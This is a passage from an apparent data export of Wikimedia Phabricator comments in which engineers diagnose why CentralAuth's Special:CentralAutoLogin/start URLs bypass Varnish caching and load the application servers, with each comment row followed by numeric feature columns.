The fact that these URLs are so popular points to far more than just editors attempting to login -- it surely includes anonymous page views and it's probably aggravated by the fact that due to caching headers, we do not make use of client-side caching. I see ext.centralauth.centralautologin.js doing such requests and that script being loaded on every anon, but it's clearly not my area of expertise.

Those URLs not being cached also means these get passed through to appservers and increasing their load significantly, which the original point of this report. It's also very apparent now, though, that they're causing problems in all kinds of layers in our infrastructure (Varnish frontend/backend hit ratio is down the drain, Varnish backends were/are suffering) and possibly causing a client-side slow-down.

I think we can fix the caching issues -even for redirects depending on GeoIP- but first and foremost we need to stop forcing all page views to requests all kinds of (uncacheable) CentralAutoLogin URLs in this way."
239891,CentralAuth not caching Special:CentralAutoLogin/start,"Any updates Faidon? I'm curious to know if you found anything, so we can make sure this is as minimal load on the apaches as possible.",,,1383620743,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-87,True,3.0,3.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,17.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,7.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,17.0,3.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6333333333333333,0.9666666666666667,"Any updates Faidon? I'm curious to know if you found anything, so we can make sure this is as minimal load on the apaches as possible."
239885,CentralAuth not caching Special:CentralAutoLogin/start,"Yes, the redirects should vary on XFP, but right now it won't have any effect, since these redirects also come with Cache-Control: private so they're not cached anyway. 

I guess the rationale behind no caching is that the redirects are dependent on the client's IP and you can't Vary on that. We can do tricks to solve this (e.g. do the GeoIP lookup on the Varnish side for particular URLs and set an X-Country header that you could vary on, for example), but before we go down that road I'd like to analyze the traffic a bit further and figure out why these rank so high in amount of req/s.",,,1382365343,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-89,True,0.5,0.0,0.0,0.0,1.5,3.5,1.0,0.0,0.0,0.0,2.5,2.5,0.0,0.0,0.0,2.5,0.0,7.5,13.0,0.0,1.5,0.5,0.5,0.0,1.0,0.0,0.0,0.5,1.5,1.0,0.0,4.0,0.5,0.5,0.0,1.5,0.0,0.0,1.0,0.0,0.5,0.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,12.5,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,6.0,1.0,8.5,3.0,3.5,10.0,0.0,0.0,0.0,0.0,7.0,0.5,0.0,0.0,5.0,13.0,4.5,0.0,0.0,0.0,5.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,3.659090909090909,0.8409090909090909,"Yes, the redirects should vary on XFP, but right now it won't have any effect, since these redirects also come with Cache-Control: private so they're not cached anyway. 

I guess the rationale behind no caching is that the redirects are dependent on the client's IP and you can't Vary on that. We can do tricks to solve this (e.g. do the GeoIP lookup on the Varnish side for particular URLs and set an X-Country header that you could vary on, for example), but before we go down that road I'd like to analyze the traffic a bit further and figure out why these rank so high in amount of req/s."
239879,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #15)
> Faidon also mentioned on irc that he was seeing http->https redirects. We
> wouldn't want to cache those, since those are based on the user being logged
> in.

For Special:CentralAutoLogin, it redirects to https if $wgSecureLogin is set and wfCanIPUseHTTPS() returns true for the IP, regardless of whether the user is logged in or not. If the user has the forceHTTPS cookie or is logged in and returns true for $user->requiresHTTPS(), then I believe MediaWiki will do the same sort of redirect before getting to CentralAuth.

BTW, should that redirect be varying on X-Forwarded-Proto? Probably, so I submitted Gerrit change 90543 to do that.",,,1382103851,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-89,True,0.0,0.0,0.0,2.0,0.5,3.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.5,11.0,0.0,1.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.5,1.5,3.0,4.5,0.0,0.0,0.0,0.5,4.0,0.0,1.5,0.0,2.5,11.0,8.0,1.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9653822055137846,0.8056077694235588,"(In reply to comment #15)
QUOTE
QUOTE
QUOTE

For Special:CentralAutoLogin, it redirects to https if $wgSecureLogin is set and wfCanIPUseHTTPS() returns true for the IP, regardless of whether the user is logged in or not. If the user has the forceHTTPS cookie or is logged in and returns true for $user->requiresHTTPS(), then I believe MediaWiki will do the same sort of redirect before getting to CentralAuth.

BTW, should that redirect be varying on X-Forwarded-Proto? Probably, so I submitted Gerrit change 90543 to do that."
239872,CentralAuth not caching Special:CentralAutoLogin/start,"What do you mean ""on the user being logged in""? Is it a preference (Cookie?),  geolocation data for the IP or something else? We could likely enforce some logic with Vary/XVO/Varnish VCL and avoid hitting apaches for all of these.",,,1382099390,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-89,True,4.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,17.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,7.0,6.0,4.0,0.0,6.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.537037037037037,0.8888888888888888,"What do you mean ""on the user being logged in""? Is it a preference (Cookie?),  geolocation data for the IP or something else? We could likely enforce some logic with Vary/XVO/Varnish VCL and avoid hitting apaches for all of these."
239866,CentralAuth not caching Special:CentralAutoLogin/start,"This looks like another issue, since the user is just being redirected to a translated page name. That seems like it would be a safe redirect for mediawiki to cache, and we probably haven't had sufficient volumes to worry about caching it in the past. But maybe someone else knows for sure?

If the user actually gets to Special:CentralAutoLogin/start, they are redirected to loginwiki's Special:CentralAutoLogin/checkLoggedIn, which should be cached, and I'm guessing those are since Faidon didn't see many of those.

Faidon also mentioned on irc that he was seeing http->https redirects. We wouldn't want to cache those, since those are based on the user being logged in.",,,1382066539,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-89,True,0.5,0.5,0.0,3.5,2.0,2.0,1.0,0.0,0.0,0.5,1.0,2.5,0.0,0.0,0.0,2.0,0.0,5.0,12.5,0.5,1.0,0.5,2.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.5,6.5,2.5,1.0,0.5,0.0,0.5,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,4.0,0.5,0.5,1.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,3.0,6.0,7.5,3.0,1.5,8.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.5,12.5,8.0,0.5,0.0,0.0,4.5,0.0,0.5,1.0,0.0,2.0,0.0,0.0,0.0,4.207199297629499,0.792361720807726,"This looks like another issue, since the user is just being redirected to a translated page name. That seems like it would be a safe redirect for mediawiki to cache, and we probably haven't had sufficient volumes to worry about caching it in the past. But maybe someone else knows for sure?

If the user actually gets to Special:CentralAutoLogin/start, they are redirected to loginwiki's Special:CentralAutoLogin/checkLoggedIn, which should be cached, and I'm guessing those are since Faidon didn't see many of those.

Faidon also mentioned on irc that he was seeing http->https redirects. We wouldn't want to cache those, since those are based on the user being logged in."
239858,CentralAuth not caching Special:CentralAutoLogin/start,"The fix had the intended effect but I still see those URLs (without returnto this time) not being cached at all. It seems MediaWiki emits ""Cache-control: private, must-revalidate, max-age=0"" and ""Expires: Thu, 01 Jan 1970 00:00:00 GMT""; a request/response sample would be:

GET /wiki/Special:CentralAutoLogin/start?type=script HTTP/1.0
Host: zh.wikipedia.org
Accept: */*
User-Agent: (...)
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Via: 1.0 cp1015.eqiad.wmnet:3128 (squid/2.7.STABLE9)
X-Forwarded-For: (...)
Connection: keep-alive

HTTP/1.1 302 Found
Date: Fri, 18 Oct 2013 00:35:12 GMT
Server: Apache
X-Powered-By: PHP/5.3.10-1ubuntu3.8+wmf2
X-Content-Type-Options: nosniff
Cache-control: private, must-revalidate, max-age=0 
Vary: Accept-Encoding,X-Forwarded-Proto,Cookie
X-Vary-Options: Accept-Encoding;list-contains=gzip,X-Forwarded-Proto,Cookie;string-contains=zhwikiToken;string-contains=zhwikiLoggedOut;string-contains=forceHTTPS;string-contains=zhwikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: http://zh.wikipedia.org/w/index.php?title=Special:%E4%B8%AD%E5%A4%AE%E8%AE%A4%E8%AF%81%E7%99%BB%E5%BD%95/start&type=script
Content-Encoding: gzip
Content-Length: 20
Keep-Alive: timeout=2, max=147
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8",,,1382057563,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-89,True,0.25,0.0,0.0,0.25,0.25,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,2.0,1.0,1.5,0.0,0.0,0.5,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.25,0.5,3.5,1.75,0.25,0.0,0.0,0.25,0.0,0.75,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.75,0.5,20.75,0.0,0.5,1.25,0.0,0.0,0.0,0.0,2.25,0.0,4.0,0.0,0.5,1.5,16.5,0.0,1.0,0.0,0.5,0.0,0.0,0.25,0.0,0.5,0.0,0.0,0.25,4.034769555339176,0.5788704965920155,"The fix had the intended effect but I still see those URLs (without returnto this time) not being cached at all. It seems MediaWiki emits ""Cache-control: private, must-revalidate, max-age=0"" and ""Expires: Thu, 01 Jan 1970 00:00:00 GMT""; a request/response sample would be:

GET /wiki/Special:CentralAutoLogin/start?type=script HTTP/1.0
Host: zh.wikipedia.org
Accept: */*
User-Agent: (...)
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Via: 1.0 cp1015.eqiad.wmnet:3128 (squid/2.7.STABLE9)
X-Forwarded-For: (...)
Connection: keep-alive

HTTP/1.1 302 Found
Date: Fri, 18 Oct 2013 00:35:12 GMT
Server: Apache
X-Powered-By: PHP/5.3.10-1ubuntu3.8+wmf2
X-Content-Type-Options: nosniff
Cache-control: private, must-revalidate, max-age=0 
Vary: Accept-Encoding,X-Forwarded-Proto,Cookie
X-Vary-Options: Accept-Encoding;list-contains=gzip,X-Forwarded-Proto,Cookie;string-contains=zhwikiToken;string-contains=zhwikiLoggedOut;string-contains=forceHTTPS;string-contains=zhwikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: URL
Content-Encoding: gzip
Content-Length: 20
Keep-Alive: timeout=2, max=147
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8"
239854,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86265 merged by jenkins-bot:
For caching, avoid passing returnto to Special:CentralAutoLogin

https://gerrit.wikimedia.org/r/86265",,,1380306961,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-92,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.809523809523809,0.9523809523809523,"Change 86265 merged by jenkins-bot:
For caching, avoid passing returnto to Special:CentralAutoLogin

GERRIT_URL"
239851,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86265 had a related patch set uploaded by Anomie:
For caching, avoid passing returnto to Special:CentralAutoLogin

https://gerrit.wikimedia.org/r/86265",,,1380297517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-92,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,4.875,0.9583333333333334,"Change 86265 had a related patch set uploaded by Anomie:
For caching, avoid passing returnto to Special:CentralAutoLogin

GERRIT_URL"
239847,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #10)
> Ah, thanks. Could we build the correct returnto and update the link in the
> javascript that we return from /setCookies?

Probably. Although my gut reaction is ""this #p-personal thing keeps getting more and more hacky"".",,,1380250081,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-92,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,3.0,3.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.3714285714285714,0.8285714285714286,"(In reply to comment #10)
QUOTE
QUOTE

Probably. Although my gut reaction is ""this #p-personal thing keeps getting more and more hacky""."
239842,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #8)
> (In reply to comment #6)
> > Brad, do remember why we add returnto and returntoquery in
> > centralautologin.js
> > for non-login pages? It's not used except when we get to the /setCookies
> > phase,
> > and there, it only adds a window.location if the request had a 'return'
> > parameter, which I don't ever see set. So it seems like we're passing it
> > around
> > without actually using it.. but am I missing something?
> 
> git blame would point you to Gerrit change #83007. The returnto gets used in
> SkinTemplate.php in core, when it generates the #p-personal replacement.

Ah, thanks. Could we build the correct returnto and update the link in the javascript that we return from /setCookies?",,,1380249085,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-92,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,4.0,9.0,20.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5090909090909093,0.5454545454545454,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Ah, thanks. Could we build the correct returnto and update the link in the javascript that we return from /setCookies?"
239836,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86207 abandoned by CSteipp:
Remove returnto for basic login test

Reason:
We'll find a better solution

https://gerrit.wikimedia.org/r/86207",,,1380249055,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-92,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,24.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,12.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.32,0.88,"Change 86207 abandoned by CSteipp:
Remove returnto for basic login test

Reason:
We'll find a better solution

GERRIT_URL"
239831,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #6)
> Brad, do remember why we add returnto and returntoquery in
> centralautologin.js
> for non-login pages? It's not used except when we get to the /setCookies
> phase,
> and there, it only adds a window.location if the request had a 'return'
> parameter, which I don't ever see set. So it seems like we're passing it
> around
> without actually using it.. but am I missing something?

git blame would point you to Gerrit change 83007. The returnto gets used in SkinTemplate.php in core, when it generates the #p-personal replacement.",,,1380244260,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-92,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,9.0,17.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6296296296296298,0.6666666666666666,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

git blame would point you to Gerrit change 83007. The returnto gets used in SkinTemplate.php in core, when it generates the #p-personal replacement."
239827,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86207 had a related patch set uploaded by CSteipp:
Remove returnto for basic login test

https://gerrit.wikimedia.org/r/86207",,,1380239889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-92,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,"Change 86207 had a related patch set uploaded by CSteipp:
Remove returnto for basic login test

GERRIT_URL"
239826,CentralAuth not caching Special:CentralAutoLogin/start,"Thanks Faidon. In the majority case, the ping to check if the anon user is logged in, we shouldn't need the returnto.. so if that's being added, I think we can fix that.

Brad, do remember why we add returnto and returntoquery in centralautologin.js for non-login pages? It's not used except when we get to the /setCookies phase, and there, it only adds a window.location if the request had a 'return' parameter, which I don't ever see set. So it seems like we're passing it around without actually using it.. but am I missing something?",,,1380239228,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-92,True,0.0,1.0,0.0,1.0,2.0,1.5,0.0,0.0,0.0,2.0,1.5,4.0,0.0,1.0,0.0,5.5,0.0,9.0,7.5,1.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,1.0,0.5,0.0,0.0,8.5,2.5,4.0,2.0,0.0,1.0,1.0,0.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,7.5,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.5,0.0,0.0,0.5,5.5,2.0,6.0,4.0,2.5,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,9.5,7.5,1.5,1.5,1.5,0.0,9.5,0.0,2.0,1.5,0.0,2.5,0.0,0.0,0.0,3.7309322033898304,0.8069209039548022,"Thanks Faidon. In the majority case, the ping to check if the anon user is logged in, we shouldn't need the returnto.. so if that's being added, I think we can fix that.

Brad, do remember why we add returnto and returntoquery in centralautologin.js for non-login pages? It's not used except when we get to the /setCookies phase, and there, it only adds a window.location if the request had a 'return' parameter, which I don't ever see set. So it seems like we're passing it around without actually using it.. but am I missing something?"
239822,CentralAuth not caching Special:CentralAutoLogin/start,"CentralAutoLogin traffic is still > 50% of all Apache traffic, so no huge effect there.

CentralAutoLogin/start is 27.5% in my small sample, however this has little to do with caching: all of the URLs are different because of the ""returnto"" query parameter. There is of course benefit with having those cached when ""returnto"" is some popular page (e.g. Main_Page).",,,1380180817,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-92,True,4.0,0.0,0.0,0.0,0.0,7.0,3.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,22.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,8.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,12.0,1.0,0.0,5.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0394736842105265,0.75,"CentralAutoLogin traffic is still > 50% of all Apache traffic, so no huge effect there.

CentralAutoLogin/start is 27.5% in my small sample, however this has little to do with caching: all of the URLs are different because of the ""returnto"" query parameter. There is of course benefit with having those cached when ""returnto"" is some popular page (e.g. Main_Page)."
239817,CentralAuth not caching Special:CentralAutoLogin/start,"This change has been deployed, and load to eqiad application servers seems to have dropped a bit.

20:31 logmsgbot: csteipp synchronized php-1.22wmf17/extensions/CentralAuth 'update to master for SUL fix'
20:28 logmsgbot: csteipp synchronized php-1.22wmf18/extensions/CentralAuth 'update to master for SUL fix'",,,1380142461,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-93,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,0.0,11.0,12.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.807017543859649,0.6491228070175439,"This change has been deployed, and load to eqiad application servers seems to have dropped a bit.

20:31 logmsgbot: csteipp synchronized php-1.22wmf17/extensions/CentralAuth 'update to master for SUL fix'
20:28 logmsgbot: csteipp synchronized php-1.22wmf18/extensions/CentralAuth 'update to master for SUL fix'"
239810,CentralAuth not caching Special:CentralAutoLogin/start,"Faidon, Tim, or Mark, it would be good if you guys could take a look at gerrit 85036 too, and just make sure Brad and my assumptions about squid / varnish are correct. If anything doesn't seem right, let us know asap!",,,1379623676,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-93,True,0.0,2.0,0.0,0.0,2.0,10.0,4.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,10.0,4.0,6.0,2.0,0.0,0.0,2.0,0.0,12.0,0.0,2.0,0.0,8.0,8.0,12.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.52,0.9,"Faidon, Tim, or Mark, it would be good if you guys could take a look at gerrit 85036 too, and just make sure Brad and my assumptions about squid / varnish are correct. If anything doesn't seem right, let us know asap!"
239804,CentralAuth not caching Special:CentralAutoLogin/start,"Change 85036 merged by jenkins-bot:
Set Squid maxage so proxies will cache

https://gerrit.wikimedia.org/r/85036",,,1379622887,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,1.0,"Change 85036 merged by jenkins-bot:
